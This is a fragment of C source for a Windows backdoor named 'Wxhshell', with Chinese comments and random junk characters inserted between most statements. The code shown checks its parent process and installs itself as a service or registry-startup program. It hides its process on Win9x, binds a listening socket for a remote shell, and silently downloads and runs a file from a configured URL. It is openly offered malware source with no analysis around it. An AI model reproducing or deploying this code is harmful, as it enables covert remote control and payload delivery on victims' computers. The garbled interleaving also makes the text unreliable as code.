if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F\^8k /0 SDV#p];u CloseHandle(hProcess); dvqg H l2:-).7xt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S89j:KRXH% if(hProcess==NULL) return 0; 3 o$zT9j vd(S&&]o1 HMODULE hMod; WJu(,zM?G char procName[255]; >j3':>\U unsigned long cbNeeded; <7SE| zi3v,Kq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RgUQ: t72u%M6 CloseHandle(hProcess); eY'nS 4L ]4WVc if(strstr(procName,"services")) return 1; // 以服务启动 `GW&*[.7 AIY 1sSK return 0; // 注册表启动 c*. } LTo5v F8dr-"G // 主模块 8>W52~^fU int StartWxhshell(LPSTR lpCmdLine) leb/D>y { !=PH5jTY SOCKET wsl; @TD=or .& BOOL val=TRUE; O39 int port=0; s~2o<# struct sockaddr_in door; %8|lAMTY7/ -gk2$P- if(wscfg.ws_autoins) Install(); TukhGgmF J]XLWAM port=atoi(lpCmdLine); t!SxJB e WeaT42*Q{ if(port<=0) port=wscfg.ws_port; H#D:'B j29 ,zr9* t WSADATA data; 7M7Lj0Y)L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8/(}Wet >l><d!hw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wdfbl_`T setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iQ(j_i'+!I door.sin_family = AF_INET; _pZ
< door.sin_addr.s_addr = inet_addr("127.0.0.1"); A[^#8evaK door.sin_port = htons(port); - _8-i1? *?d\Zcj85[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q~
ZUtF closesocket(wsl); A{J?I: return 1; ^)Awjj9 } Yl>Y.SO ;tVd+[8 if(listen(wsl,2) == INVALID_SOCKET) { r7g@(K closesocket(wsl); "yh2+97l return 1; /g!ZU2&l } K>e-IxA);0 Wxhshell(wsl); >6jal?4u- WSACleanup(); V^R,j1* " "m-5PGYo return 0; 9
@ < d^nO&it } t0e5L{ QJ ui,!_O .c // 以NT服务方式启动 IqFcrU$4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I:/|{:5 { A+8)VlE\ DWORD status = 0; ;$zvm`|: DWORD specificError = 0xfffffff; .Z'NH
wCy \wsVO"/ serviceStatus.dwServiceType = SERVICE_WIN32; ,7bhUE/VB serviceStatus.dwCurrentState = SERVICE_START_PENDING; M1Ff ,]w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,cS# serviceStatus.dwWin32ExitCode = 0; &'&)E(( serviceStatus.dwServiceSpecificExitCode = 0; }xt^}:D serviceStatus.dwCheckPoint = 0; ?!U.o1 serviceStatus.dwWaitHint = 0; C]8w[)d[`; <=GZm}/]N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E;s_=j1f if (hServiceStatusHandle==0) return; 6'kQ(r> }DM W,+3 status = GetLastError(); gBhX=2% if (status!=NO_ERROR) @@U { >A X_"Q~ serviceStatus.dwCurrentState = SERVICE_STOPPED; ZCj1Cz]"l< serviceStatus.dwCheckPoint = 0; SyI~iW#Y1 serviceStatus.dwWaitHint = 0; Qt{){uE serviceStatus.dwWin32ExitCode = status; iTq&h=(n serviceStatus.dwServiceSpecificExitCode = specificError; tt2
S.j SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ghzK?Yc return; X"d"a={] } y3b"'-% m4oj1h_4 serviceStatus.dwCurrentState = SERVICE_RUNNING; tmq?h%O> serviceStatus.dwCheckPoint = 0; }:c~5whN serviceStatus.dwWaitHint = 0; M>m!\bb%. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [pEb`s } ()Kaxcs?+ kN1R8| pv // 处理NT服务事件,比如:启动、停止 vJGH8$%;, VOID WINAPI NTServiceHandler(DWORD fdwControl)
anpKWa { g$#A'Du switch(fdwControl) ~mt{j7 { 48^C+#Jbc case SERVICE_CONTROL_STOP: Vf~-v$YI serviceStatus.dwWin32ExitCode = 0; '}(>s%~ serviceStatus.dwCurrentState = SERVICE_STOPPED; Miw=2F serviceStatus.dwCheckPoint = 0; PkyX,mr#1 serviceStatus.dwWaitHint = 0; i&lW&] { 68h1Wjg:"! SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mz(?_7 } zEO~mJzo return; '+{yg+#/wV case SERVICE_CONTROL_PAUSE: yp$jLBA serviceStatus.dwCurrentState = SERVICE_PAUSED; -hW>1s< break; Xwo+iZ(a case SERVICE_CONTROL_CONTINUE: "Hz%0zP& serviceStatus.dwCurrentState = SERVICE_RUNNING; $`W3`}#fM break; O&aD]~| case SERVICE_CONTROL_INTERROGATE: tjRwbnT" break; X$\CC18 }; mxF+Fp~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); PVF:p7 } B *O/>=_ ~<<32t'S: // 标准应用程序主函数 R[jFB
7dd int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Bt,.uNC { W[DoQ @q 1aS:bFi` // 获取操作系统版本 nlhv OsIsNt=GetOsVer(); WO9vOS> GetModuleFileName(NULL,ExeFile,MAX_PATH); OAs>F" 3bezYk // 从命令行安装 )8g&lyT if(strpbrk(lpCmdLine,"iI")) Install(); =dHdq D a@jM%VZ // 下载执行文件 OET/4(C if(wscfg.ws_downexe) { ~D}fy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C}<e3BXc WinExec(wscfg.ws_filenam,SW_HIDE); .hxFFk%5 } v&;JVai 5lD`qY if(!OsIsNt) { YHom9&A // 如果时win9x,隐藏进程并且设置为注册表启动 tlD^"eq4: HideProc(); 5<`83;R9 StartWxhshell(lpCmdLine); ]U'zy+ } s?m_zJh else C4ktCN if(StartFromService()) qonStIP // 以服务方式启动 uwI"V|g%a& StartServiceCtrlDispatcher(DispatchTable); $rk=#;6]v; else !ck~4~J // 普通方式启动 D:j5/ * StartWxhshell(lpCmdLine); R'tvF$3=i A9@coP5 return 0; zL}`7*d:v }
|